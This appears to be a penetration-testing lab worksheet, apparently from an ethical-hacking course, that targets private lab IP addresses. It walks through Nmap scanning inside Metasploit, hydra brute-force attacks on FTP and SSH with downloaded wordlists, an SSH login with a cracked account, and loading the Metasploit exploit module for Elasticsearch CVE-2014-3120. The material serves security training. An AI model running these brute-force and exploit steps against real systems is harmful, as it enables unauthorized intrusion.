z‐old Part 2 labs

You must have lab running

Victim IP addresses: 10.0.0.10 & 10.0.0.21 (2)
Using Metasploit and Nmap together as a scanner
IN KALI
@ $
```
  bash
```
this is an insecure shortcut for production systems
```
  sudo -i
```
@ root
```
  msfconsole
```
@ msf6>
```
  db_nmap -sS -A 10.0.0.10-21
```
```
  services
```
Document
IN Artifact repository Manually (google sheet/ YOUR copy and paste)
Copy output to Vulnerabilities 1 tab (still unconfirmed)
https://docs.google.com/spreadsheets/d/1PMK589QX5tC9KAMsuoTnR2uVhEVh8830xJNC0N0zdyM/edit?usp=sharing
Reformat
IN KALI
@ msf6>
```
  exit
```
!!!done!!!

  wget https://ceh-v11-20220609.s3.amazonaws.com/expsecusers.txt

  mv expsecusers.txt /usr/share/seclists/Usernames/

  wget https://ceh-v11-20220609.s3.amazonaws.com/expsec-passwords.txt

  mv expsec-passwords.txt /usr/share/seclists/Passwords/

Using hydra
From Scan: Port 21 & 22 are open on .10 & .21
From seclist we have multiple list (one real short, one fake because the lab can't take 122 hrs)
make 2 target lists by echoing data into a file
IN KALI
@ root

  echo '10.0.0.10:21' >> targetsFTP.txt

  echo '10.0.0.21:21' >> targetsFTP.txt

  echo '10.0.0.10:22' >> targetsSSH.txt && echo '10.0.0.21:22' >> targetsSSH.txt

  hydra -L ./Usernames/expsecusers.txt  -P ./Passwords/expsec-passwords.txt -M targetsFTP.txt ftp

  hydra -L ./Usernames/expsecusers.txt  -P ./Passwords/expsec-passwords.txt -M targetsSSH.txt ssh

We have SSH so we can do anything. But we are not.
Start a SSH instance and escalate priv.
IN KALI
@ root
```
  ssh 10.0.0.21 -l boba_fett
```
Supply password from your Artifact's sheet
```
  CTRL Z
```
You now have a remote shell on the windows victim ( it will NOT act like your Kali terminal)
What you can do depends on microsoft administrator skills.
Exploit port 9200
IN KALI
@ msf6>
? what services have we captured
```
  services
```
? use exploit (CVE-2014-3120)
I am not giving you the settings for set ( you must think and apply what you have learned)

  use exploit/multi/elasticsearch/script_mvel_rce